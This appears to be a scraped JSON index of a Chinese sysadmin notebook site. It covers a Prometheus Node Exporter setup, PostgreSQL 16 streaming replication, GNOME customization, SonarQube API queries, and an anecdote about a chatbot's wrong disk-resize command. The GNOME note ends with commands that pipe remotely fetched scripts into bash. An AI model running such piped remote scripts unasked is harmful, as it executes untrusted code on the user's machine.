2024","externalUrl":null,"permalink":"/worknot/nmon-20241028-1/","section":"Worknots","summary":"nmon # nmon_analyser # 69 版本有問題，所以我這邊下載 66\n","title":"Nmon","type":"worknot"},{"content":"","date":"October 28, 2024","externalUrl":null,"permalink":"/tags/prometheus/","section":"Tags","summary":"","title":"Prometheus","type":"tags"},{"content":" 安裝環境 # OS: Oracle Linux 9, Debian 12 測試版本: 1.8.2 安裝步驟 # 01. 新增帳號 # 1 2 sudo groupadd --system -g 800 prometheus \u0026amp;\u0026amp;\\ sudo useradd -s /sbin/nologin --system -g prometheus --uid 800 -c \u0026#34;prometheus_exporter\u0026#34; prometheus 02. 下載 Node Exporter 及部署程式 # 下載 Node Exporter\n1 2 curl -s https://api.github.com/repos/prometheus/node_exporter/releases/latest| grep browser_download_url|grep linux-amd64|cut -d \u0026#39;\u0026#34;\u0026#39; -f 4|wget -i - # https://github.com/prometheus/node_exporter/releases/download/v1.8.2/node_exporter-1.8.2.linux-amd64.tar.gz 部署程式\n1 2 3 4 tar -xvf node_exporter*.tar.gz \u0026amp;\u0026amp;\\ cd node_exporter*/ \u0026amp;\u0026amp;\\ sudo cp node_exporter /usr/local/bin \u0026amp;\u0026amp;\\ sudo chown prometheus: /usr/local/bin/node_exporter 03. 將 context path 作為識別主機 # 這邊我們將 context path 作為識別主機 依據，會把設定寫入參數檔。RedHat 與 Debian 放的位置會稍微不一樣\nRedhat 1 2 3 sudo tee /etc/sysconfig/node_exporter \u0026lt;\u0026lt;EOF OPTIONS=\u0026#34;--web.telemetry-path=\\\u0026#34;/$(hostname)/node/metrics\\\u0026#34;\u0026#34; EOF Debian 1 2 3 sudo tee /etc/node_exporter \u0026lt;\u0026lt;EOF OPTIONS=\u0026#34;--web.telemetry-path=\\\u0026#34;/$(hostname)/node/metrics\\\u0026#34;\u0026#34; EOF 04. 設定 systemctl deamon # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 sudo tee /etc/systemd/system/node_exporter.service\u0026lt;\u0026lt;EOF [Unit] Description=Node Exporter [Service] User=prometheus Group=prometheus UMask=0027 EnvironmentFile=-/etc/node_exporter EnvironmentFile=-/etc/sysconfig/node_exporter ExecStart=/usr/local/bin/node_exporter \\$OPTIONS [Install] WantedBy=multi-user.target EOF 立即啟用 及開機時啟動\n1 2 3 sudo systemctl daemon-reload \u0026amp;\u0026amp;\\ sudo systemctl enable --now node_exporter \u0026amp;\u0026amp;\\ sudo systemctl status node_exporter 05. 檢查下載有東西 # 1 curl -i 127.0.0.1:9100/$(hostname)/node/metrics 結果如下\n1 2 3 4 jameschang@loki:~/node_exporter-1.3.1.linux-amd64$ curl localhost:9100/metrics \u0026gt; /dev/null % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 63048 0 63048 0 0 6157k 0 --:--:-- --:--:-- --:--:-- 6157k prometheus 主機設定 # 修改 /usr/local/etc/prometheus/prometheus.yml 1 2 sudo systemctl restart prometheus sudo systemctl reload prometheus http://192.168.56.3:9090/targets\n檢查有成功\n匯入別人寫好的面板 # https://grafana.com/grafana/dashboards/11074\n參考資料 # How to Monitor Linux Servers with Prometheus and Node Exporter\n","date":"October 28, 2024","externalUrl":null,"permalink":"/worknot/prometheus-node-exporter/","section":"Worknots","summary":"安裝環境 # OS: Oracle Linux 9, Debian 12 測試版本: 1.8.2 安裝步驟 # 01. 新增帳號 # 1 2 sudo groupadd --system -g 800 prometheus \u0026\u0026\\ sudo useradd -s /sbin/nologin --system -g prometheus --uid 800 -c \"prometheus_exporter\" prometheus 02. 下載 Node Exporter 及部署程式 # 下載 Node Exporter\n","title":"Prometheus Node Exporter 設定","type":"worknot"},{"content":" 環境設計 # OS: Debian 12 Database version: postgresql 16 主機: develop-pg-node-01 role: Primary IP: 192.168.100.101 develop-pg-node-02 role: Standby IP: 192.168.100.102 資料庫帳號 replication account: repuser password: somestrongpassword 安裝 # 1 2 3 4 5 6 7 8 sudo apt install -y curl ca-certificates rsync sudo install -d /usr/share/postgresql-common/pgdg sudo curl -o /usr/share/postgresql-common/pgdg/apt.postgresql.org.asc --fail https://www.postgresql.org/media/keys/ACCC4CF8.asc sudo sh -c \u0026#39;echo \u0026#34;deb [signed-by=/usr/share/postgresql-common/pgdg/apt.postgresql.org.asc] https://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main\u0026#34; \u0026gt; /etc/apt/sources.list.d/pgdg.list\u0026#39; sudo apt update sudo apt -y install postgresql-16 firewall-cmd --permanent --add-service=postgresql \u0026amp;\u0026amp; firewall-cmd --reload systemctl status postgresql 部署 # Primary # /etc/postgresql/16/main/postgresql.conf 1 2 3 4 listen_addresses = \u0026#39;*\u0026#39; wal_level = replica max_replication_slots = 10 max_wal_senders = 10 /etc/postgresql/16/main/pg_hba.conf 1 2 # host replication replicator 192.168.100.102/32 scram-sha-256 host replication all samenet scram-sha-256 samenet 表示同網段\n1 2 3 4 systemctl restart postgresql sudo -u postgres psql CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD \u0026#39;somestrongpassword\u0026#39;; SELECT * FROM pg_create_physical_replication_slot(\u0026#39;replica_1_slot\u0026#39;); Standby # 1 2 3 4 5 systemctl stop postgresql su - postgres rm -rf /var/lib/postgresql/16/main/* pg_basebackup -h 192.168.100.101 -D /var/lib/postgresql/16/main -U repuser --password --progress --verbose touch /var/lib/postgresql/16/main/standby.signal /etc/postgresql/16/main/postgresql.conf 1 2 3 4 5 6 listen_addresses = \u0026#39;*\u0026#39; wal_level = replica max_wal_senders = 10 max_replication_slots = 10 primary_conninfo = \u0026#39;host=192.168.100.101 port=5432 user=repuser password=somestrongpassword application_name=r1\u0026#39; primary_slot_name = \u0026#39;replica_1_slot\u0026#39; 1 2 systemctl restart postgresql tail -f /var/log/postgresql/postgresql-16-main.log 1 2 3 4 5 6 7 8 9 10 11 root@develop-pg-node-02:~# tail -f /var/log/postgresql/postgresql-16-main.log 2024-10-17 00:13:17.047 CST [3850] LOG: listening on IPv6 address \u0026#34;::\u0026#34;, port 5432 2024-10-17 00:13:17.056 CST [3850] LOG: listening on Unix socket \u0026#34;/var/run/postgresql/.s.PGSQL.5432\u0026#34; 2024-10-17 00:13:17.071 CST [3853] LOG: database system was interrupted; last known up at 2024-10-17 00:08:43 CST 2024-10-17 00:13:17.149 CST [3853] LOG: entering standby mode 2024-10-17 00:13:17.149 CST [3853] LOG: starting backup recovery with redo LSN 0/2000110, checkpoint LSN 0/2000148, on timeline ID 1 2024-10-17 00:13:17.162 CST [3853] LOG: redo starts at 0/2000110 2024-10-17 00:13:17.167 CST [3853] LOG: completed backup recovery with redo LSN 0/2000110 and end LSN 0/20001E8 2024-10-17 00:13:17.167 CST [3853] LOG: consistent recovery state reached at 0/20001E8 2024-10-17 00:13:17.167 CST [3850] LOG: database system is ready to accept read-only connections 2024-10-17 00:13:17.196 CST [3854] LOG: started streaming WAL from primary at 0/3000000 on timeline 1 檢查 # 1 2 3 -- sudo -u postgres psql \\x SELECT * FROM pg_stat_wal_receiver; Primary 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 postgres=# \\x Expanded display is on. postgres=# SELECT * FROM pg_stat_replication; -[ RECORD 1 ]----+------------------------------ pid | 3840 usesysid | 16392 usename | repuser application_name | r1 client_addr | 192.168.100.102 client_hostname | client_port | 59266 backend_start | 2024-10-17 00:13:17.177344+08 backend_xmin | state | streaming sent_lsn | 0/3000148 write_lsn | 0/3000148 flush_lsn | 0/3000148 replay_lsn | 0/3000148 write_lag | flush_lag | replay_lag | sync_priority | 0 sync_state | async reply_time | 2024-10-17 00:15:02.668249+08 Standby 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 postgres=# \\x Expanded display is on. postgres=# SELECT * FROM pg_stat_wal_receiver; -[ RECORD 1 ]---------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- pid | 3854 status | streaming receive_start_lsn | 0/3000000 receive_start_tli | 1 written_lsn | 0/3000148 flushed_lsn | 0/3000148 received_tli | 1 last_msg_send_time | 2024-10-17 00:14:22.659823+08 last_msg_receipt_time | 2024-10-17 00:14:22.659285+08 latest_end_lsn | 0/3000148 latest_end_time | 2024-10-17 00:13:52.647283+08 slot_name | replica_1_slot sender_host | 192.168.100.101 sender_port | 5432 conninfo | user=repuser password=******** channel_binding=prefer dbname=replication host=192.168.100.101 port=5432 application_name=r1 fallback_application_name=16/main sslmode=prefer sslnegotiation=postgres sslcompression=0 sslcertmode=allow sslsni=1 ssl_min_protocol_version=TLSv1.2 gssencmode=prefer krbsrvname=postgres gssdelegation=0 target_session_attrs=any load_balance_hosts=disable 測試 # 兩邊資料測試\n1 2 3 4 5 6 CREATE DATABASE testdb; \\c testdb CREATE TABLE TEST1 (COL1 int); SELECT * FROM TEST1; INSERT INTO TEST1(COL1) VALUES(1); SELECT * FROM TEST1; 參考資料 # PostgreSQL 複寫 ","date":"October 17, 2024","externalUrl":null,"permalink":"/worknot/deploy-postgresql-16-primary-standby/","section":"Worknots","summary":"環境設計 # OS: Debian 12 Database version: postgresql 16 主機: develop-pg-node-01 role: Primary IP: 192.168.100.101 develop-pg-node-02 role: Standby IP: 192.168.100.102 資料庫帳號 replication account: repuser password: somestrongpassword 安裝 # 1 2 3 4 5 6 7 8 sudo apt install -y curl ca-certificates rsync sudo install -d /usr/share/postgresql-common/pgdg sudo curl -o /usr/share/postgresql-common/pgdg/apt.postgresql.org.asc --fail https://www.postgresql.org/media/keys/ACCC4CF8.asc sudo sh -c 'echo \"deb [signed-by=/usr/share/postgresql-common/pgdg/apt.postgresql.org.asc] https://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main\" \u003e /etc/apt/sources.list.d/pgdg.list' sudo apt update sudo apt -y install postgresql-16 firewall-cmd --permanent --add-service=postgresql \u0026\u0026 firewall-cmd --reload systemctl status postgresql 部署 # Primary # /etc/postgresql/16/main/postgresql.conf 1 2 3 4 listen_addresses = '*' wal_level = replica max_replication_slots = 10 max_wal_senders = 10 /etc/postgresql/16/main/pg_hba.conf 1 2 # host replication replicator 192.168.100.102/32 scram-sha-256 host replication all samenet scram-sha-256 samenet 表示同網段\n","title":"Deploy Postgresql 16 Primary Standby","type":"worknot"},{"content":"","date":"October 17, 2024","externalUrl":null,"permalink":"/tags/infra/","section":"Tags","summary":"","title":"Infra","type":"tags"},{"content":"","date":"October 17, 2024","externalUrl":null,"permalink":"/tags/postgresql/","section":"Tags","summary":"","title":"Postgresql","type":"tags"},{"content":" Plymouth # 列出可用的主題\n1 plymouth-set-default-theme -l 顯示當前主題\n1 plymouth-set-default-theme 設定主題\n1 2 sudo plymouth-set-default-theme \u0026lt;theme_name\u0026gt; sudo update-initramfs -u 登入畫面 # schema: /usr/share/glib-2.0/schemas/\n設定文件: /etc/gdm3/greeter.dconf-defaults 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 # These are the options for the greeter session that can be set # through GSettings. Any GSettings setting that is used by the # greeter session can be set here. # Note that you must configure the path used by dconf to store the # configuration, not the GSettings path. # Theming options # =============== # - Change the GTK+ theme [org/gnome/desktop/interface] # gtk-theme=\u0026#39;Adwaita\u0026#39; # - Use another background [org/gnome/desktop/background] # picture-uri=\u0026#39;file:///usr/share/themes/Adwaita/backgrounds/stripes.jpg\u0026#39; # picture-options=\u0026#39;zoom\u0026#39; # - Or no background at all [org/gnome/desktop/background] # picture-options=\u0026#39;none\u0026#39; # primary-color=\u0026#39;#000000\u0026#39; # Login manager options # ===================== [org/gnome/login-screen] # logo=\u0026#39;/usr/share/images/vendor-logos/logo-text-version-64.png\u0026#39; logo=\u0026#39;/usr/share/images/vendor-logos/google-logo.png\u0026#39; # - Disable user list # disable-user-list=true # - Disable restart buttons # disable-restart-buttons=true # - Show a login welcome message banner-message-enable=true banner-message-text=\u0026#39;PolloChang\\\u0026#39;s Notebook\u0026#39; # Automatic suspend # ================= [org/gnome/settings-daemon/plugins/power] # - Time inactive in seconds before suspending with AC power # 1200=20 minutes, 0=never # sleep-inactive-ac-timeout=1200 # - What to do after sleep-inactive-ac-timeout # \u0026#39;blank\u0026#39;, \u0026#39;suspend\u0026#39;, \u0026#39;shutdown\u0026#39;, \u0026#39;hibernate\u0026#39;, \u0026#39;interactive\u0026#39; or \u0026#39;nothing\u0026#39; # sleep-inactive-ac-type=\u0026#39;suspend\u0026#39; # - As above but when on battery # sleep-inactive-battery-timeout=1200 # sleep-inactive-battery-type=\u0026#39;suspend\u0026#39; icon # 存放位置: /usr/share/icons debian12 顯示桌面 icon # 1 sudo apt install gnome-shell-extension-desktop-icons-ng 到 extension 進行設定啟用\nwin + D 返回桌面 # Hide all normal windows\n# 1 2 bash -c \u0026#34;$(curl -fsSL https://raw.githubusercontent.com/ohmybash/oh-my-bash/master/tools/install.sh)\u0026#34; curl -s https://get.powerbash.org | bash ","date":"October 17, 2024","externalUrl":null,"permalink":"/worknot/custom-gnome-them/","section":"Worknots","summary":"Plymouth # 列出可用的主題\n1 plymouth-set-default-theme -l 顯示當前主題\n1 plymouth-set-default-theme 設定主題\n1 2 sudo plymouth-set-default-theme \u003ctheme_name\u003e sudo update-initramfs -u 登入畫面 # schema: /usr/share/glib-2.0/schemas/\n","title":"客製化 Gnome","type":"worknot"},{"content":" TL;DR # 剛剛在練習 KVM 指令時 一些不懂的地方直接問 Cheap GPT 遇到 AI 幻覺。在執行虛擬磁碟擴容到 60G 照著 GPT 指示做，結果擴充到 30TB。好險是在實驗室進行操作練習，如果是在正式環境可能或造成難以收復的系統災難。\n錯誤指令如下\n1 sudo virsh blockresize develop-pg-node-01 vda 32212254720 過程 # 詢問 AI 的紀錄\n執行過程\n1 2 3  ╱  ~/Documents/wezoom/wezoom/wezoom-ISMS at 21:38:31  ❯ sudo virsh blockresize develop-pg-node-01 vda 32212254720 Block device \u0026#39;vda\u0026#39; is resized 結果 # 變成 30 TB，fuxxxxxxxxxxx !!! 我的實體硬碟也才 2T，嚴重超賣呀!!!\n從虛擬機看也是一樣\n此次錯誤解決方式 # 進行虛擬磁碟縮容\n1 sudo qemu-img resize --shrink /var/lib/libvirt/images/develop-pg-node-01.qcow2 60G 預防方式 # 多多在 LAB 實驗操作練習吧。畢竟查 AI 或是各式文件100 次不如親手操作一次\n","date":"October 13, 2024","externalUrl":null,"permalink":"/worknot/worknot-20241013-1/","section":"Worknots","summary":"TL;DR # 剛剛在練習 KVM 指令時 一些不懂的地方直接問 Cheap GPT 遇到 AI 幻覺。在執行虛擬磁碟擴容到 60G 照著 GPT 指示做，結果擴充到 30TB。好險是在實驗室進行操作練習，如果是在正式環境可能或造成難以收復的系統災難。\n","title":"AI幻覺導致我操作系統錯誤了","type":"worknot"},{"content":"","date":"October 4, 2024","externalUrl":null,"permalink":"/categories/ci/cd/","section":"Categories","summary":"","title":"CI/CD","type":"categories"},{"content":"","date":"October 4, 2024","externalUrl":null,"permalink":"/tags/sonarqube/","section":"Tags","summary":"","title":"SonarQube","type":"tags"},{"content":" 基本 URL: http:///api 如何驗證 # 創建 API Token # 登入到 SonarQube 的 Web 界面。 點擊右上角的你的使用者名稱，然後選擇 “我的帳戶 (My Account)”。 在 “安全 (Security)” 標籤中，你會看到一個按鈕 “生成令牌 (Generate Tokens)”。 給令牌命名並點擊生成。生成後記下這個令牌，因為你無法再次查看它。 使用帳號驗證 # 1 curl -k -u \u0026lt;your-token\u0026gt;: \u0026#39;\u0026lt;your-sonarqube-instance/projects/search\u0026#39; 使用 HTTP Authorization Header # 以下範例將使用 Authorization Header 方式驗證，方變程式化使用\n1 curl -k -H \u0026#34;Authorization: Bearer \u0026lt;your-token\u0026gt;\u0026#34; \u0026#39;\u0026lt;your-sonarqube-instance/projects/search\u0026#39; 使用API查詢資料 # 列出所有的 project-key # 路徑: /api/projects/search 1 curl -k -H \u0026#34;Authorization: Bearer \u0026lt;your-token\u0026gt;\u0026#34; \u0026#39;\u0026lt;your-sonarqube-instance/projects/search\u0026#39; 列出專案 服務 目前的弱點數量 # 1 curl -k -H \u0026#34;Authorization: Bearer \u0026lt;your-token\u0026gt;\u0026#34; \u0026#39;https://\u0026lt;your-sonarqube-instance\u0026gt;/api/issues/search?componentKeys=\u0026lt;project-key\u0026gt;\u0026amp;types=VULNERABILITY\u0026amp;resolved=false\u0026#39; 列出歷次掃描的點數量 # 路徑: /api/measures/search_history 1 curl -k -H \u0026#34;Authorization: Bearer \u0026lt;your-token\u0026gt;\u0026#34; \u0026#39;\u0026lt;your-sonarqube-instance/measures/search_history?component=\u0026lt;project-key\u0026gt;\u0026amp;metrics=\u0026lt;metrics-keys\u0026gt;\u0026#39; Metrics(度量) # 這邊可以是用逗點分隔表示，範例如下:\n1 metrics=vulnerabilities,complexity 代碼行數相關 # ncloc：非註釋代碼行數（Number of lines of code） lines：總代碼行數 comment_lines：註釋行數 代碼覆蓋率 # coverage：代碼覆蓋率 line_coverage：行覆蓋率 branch_coverage：分支覆蓋率 複雜度 # complexity ：代碼複雜度 cognitive_complexity：認知複雜度 技術債務 # sqale_index：技術債務（Technical debt）以分鐘計算 sqale_debt_ratio：技術債務比例 問題數 # violations：違規問題數 blocker_violations：阻斷級別問題 critical_violations：嚴重級別問題 major_violations：重大問題 安全 # vulnerabilities：弱點數量 security_rating：安全等級（A、B、C 等） 測試 # tests：測試總數 test_errors：測試錯誤數 test_failures：測試失敗數 代碼重複 # duplicated_lines：重複行數 duplicated_blocks：重複代碼塊 duplicated_lines_density：重複行比例 查看說明 # 1 http://\u0026lt;your-sonarqube-instance\u0026gt;/api 匯出結果如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 